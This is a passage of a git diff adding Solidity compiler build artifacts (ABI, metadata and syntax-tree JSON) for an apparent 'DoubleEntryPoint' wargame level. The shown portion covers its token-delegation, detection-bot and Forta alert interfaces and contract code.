\"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/DelegateERC20.json b/contracts/out/DoubleEntryPoint.sol/DelegateERC20.json new file mode 100644 index 000000000..0d73e8717 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/DelegateERC20.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"delegateTransfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"origSender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"delegateTransfer(address,uint256,address)":"9cd1a121"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"origSender\",\"type\":\"address\"}],\"name\":\"delegateTransfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"DelegateERC20\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"origSender","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"delegateTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"DelegateERC20"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType":"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) 